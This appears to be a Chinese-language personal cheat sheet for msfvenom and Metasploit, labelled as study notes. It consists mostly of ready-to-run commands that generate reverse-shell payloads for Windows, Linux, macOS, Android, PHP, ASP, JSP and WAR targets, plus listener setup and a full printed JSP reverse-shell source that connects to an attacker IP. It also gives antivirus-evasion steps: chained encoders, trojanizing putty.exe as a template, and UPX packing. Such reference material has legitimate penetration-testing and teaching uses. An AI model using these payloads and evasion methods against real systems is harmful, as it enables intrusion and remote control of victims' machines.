Msfvenom

仅做学习记录用

参数

一般是使用反向代理

-l  列出所有可用的payload,编码器,空指令……
-p  指定要使用的msf的payload,也可以使用自定义payload,几乎是支持全平台的
-f  指定payload输出的文件类型,--help-formats,可查看支持的所有输出格式
-e  指定要使用那种编码器
-i  指定编码的次数,如果使用编码器
-b  指定坏字符,比如空字符截断问题,等等……
-x  使用一个自定义可执行程序模板,并将payload嵌入其中
-k  当模板被执行时,payload自动分离并注入到新的进程中,一般和-x选项一并使用
-o  指定创建好的payload的存放位置

监听器

使用 multi/handler 模块

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.100
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run

使用 exploit/multi/handler 模块 楼上的升级版

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.100
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run

使用 exploit/multi/script/web_delivery 模块:该模块可以生成一个可执行文件或 PowerShell 脚本,用于在目标系统上下载和执行 payload

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set LHOST 192.168.0.100
msf exploit(web_delivery) > set LPORT 4444
msf exploit(web_delivery) > run

Payload

针对计算机介质

Windows

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=4444 -f e
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o x86_shell.exe
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<ip> LPORT=<port> -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1

Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf -o shell.elf

Mac

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f macho -o x86_shell.macho

Android

msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f apk -o x86_shell.apk

针对中间件

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f asp -o shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war -o shell.war

对于 WAR 文件而言 可以通过以下命令快速找出具体 jsp 页面

❯ jar -ft shellname.war
WEB-INF/
WEB-INF/web.xml
zegeqsbdu.jsp

curl http://10.10.10.95:8080/shellname/zegeqsbdu.jsp

当然像 Tomcat Web Manager 那样有 gui 的 上传完直接点击就送

原理

WAR 文件

❯ head -c 16 shell.war | xxd
00000000: 504b 0304 1400 0000 0000 a56a 1d5b 0000  PK.........j.[..

是个实实在在的压缩包

❯ jar -ft shell.war
WEB-INF/ # version相关内容
WEB-INF/web.xml # version相关内容
zegeqsbdu.jsp #木马实现

# zegeqsbdu.jsp

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector extends Thread
  {
    InputStream iM;
    OutputStream ay;

    StreamConnector( InputStream iM, OutputStream ay )
    {
      this.iM = iM;
      this.ay = ay;
    }

    public void run()
    {
      BufferedReader ay  = null;
      BufferedWriter s5h = null;
      try
      {
        ay  = new BufferedReader( new InputStreamReader( this.iM ) );
        s5h = new BufferedWriter( new OutputStreamWriter( this.ay ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = ay.read( buffer, 0, buffer.length ) ) > 0 )
        {
          s5h.write( buffer, 0, length );
          s5h.flush();
        }
      } catch( Exception e ){}
      try
      {
        if( ay != null )
          ay.close();
        if( s5h != null )
          s5h.close();
      } catch( Exception e ){}
    }
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    Socket socket = new Socket( "10.10.*.*", 4444 );
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  } catch( Exception e ) {}
%>

混淆

以 x86 的 Windows 情况来说 可以使用多重编码器混淆

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -i 10 -f raw 
| msfvenom -e x86/alpha_upper -a x86 --platform windows -i5 -f raw 
| msfvenom -e x86/shikkata_ga_nai -a x86 --platform windows -i 10 -f raw 
| msfvenom -e x86/countdown -a x86 --platform windows -i 10 -b '\x00\x0a\xff' -f exe -o shell.exe

或者更换可执行文件模版

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -x putty.exe -k -i 5 -f exe -o shell.exe

要么还可以加壳

upx -5 shell.exe -o upx5_shell.exe
upx -9 shell.exe -o upx9_shell.exe

甚至还可以先不编译

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -i 15 -b '\x00\' -f c -o shell.c